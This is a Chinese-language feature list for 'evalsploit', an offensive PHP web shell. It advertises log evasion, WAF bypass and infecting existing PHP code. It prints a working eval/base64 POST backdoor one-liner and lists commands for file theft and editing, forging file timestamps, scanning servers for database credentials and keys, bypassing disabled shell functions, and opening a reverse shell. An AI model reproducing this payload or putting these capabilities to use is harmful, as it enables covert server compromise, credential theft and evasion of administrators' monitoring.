基于eval function的后门，可作为独立的web-shell（网页后门）
-
隐身
- 适用于POST请求 ，几乎不可见日志
- 内置WAF 旁路功能
- 每个新会话都有新的用户代理
- 隐身操作设置
- 多态有效载荷
-
通用
- 有效载荷可添加到PHP代码的任何部分
- 适用于 Linux, Windows, Mac OS
- 使用有效载荷感染PHP或作为一个独立的外壳
if(isset($_POST['Z'])){@eval(base64_decode(str_replace($_POST['V'], '' ,$_POST['Z'])));die();} - 当启动程序时，evalsploit将需要链接到含有效负荷的文件
- 当更改
send模块（见于“程序设置”）时，使用gen指令生成新的有效负载
-
ls: 该目录中文件的列表- 设置
ls: 基于 DirectoryIterator（默认支持） - 设置
dir: 基于 ScanDir
- 设置
-
cp: 复制文件- 使用分隔号
:(/what.txt : /where/what.txt )
- 使用分隔号
-
cd: 通过文件系统进行移动 -
mkd: 创建新目录 -
upl: 上传文件到服务器 -
home: 回到 __DIR__ -
pwd: 打印活动目录
-
cat: 使用文件- 设置
html: 基于 htmlentities - 设置
base64: 基于 base64_encode\base64_decode (设置默认)
- 设置
-
rm: 删除文件 -
dl: 下载文件（下载到/下载文件夹）- 不能处理大于100MB的文件
-
edit: 编辑文件内容- 不能处理大于100MB的文件
-
mkf: 创建新文件 -
touch: 更改文件时间戳- 使用
settime分隔 (file.рhр settime Year-Month-Day Hour:Minute:Second)
- 使用
-
stat: 文件信息 -
ren: 重命名文件- 使用分隔
:(/where/old.txt : new.php )
- 使用分隔
-
run: 切换到命令行模式exit退出模式- 支持 exec, shell_exec, system, passthru, popen, proc_open, expect_popen, pcntl_exec, do
-
info: 服务器信息- php 版本, OS
-
scan: 扫描所选目录- 搜索系统 PHP, 数据库、密钥等
-
exploit: 使用内置漏洞绕过已禁用的命令行，激活命令行模式exit退出模式
-
reverse: reverse-shell -reverse IP:PORT -
gen: 根据发送模块生成有效负载 -
help: 首页 -
exit: 退出
set: 配置模块。要查看参数列表请使用set module help- 代替
help可接受-h,h,?,/?) - run:
exec,shell_exec,system,passthru,popen,proc_open,expect_popen,pcntl_exec,do - ls:
ls,dir - cat:
html,base64 - silent:
1,0(隐身) - reverse:
ivan,monkey - send:
bypass,classic,simple(发送模块)
- 代替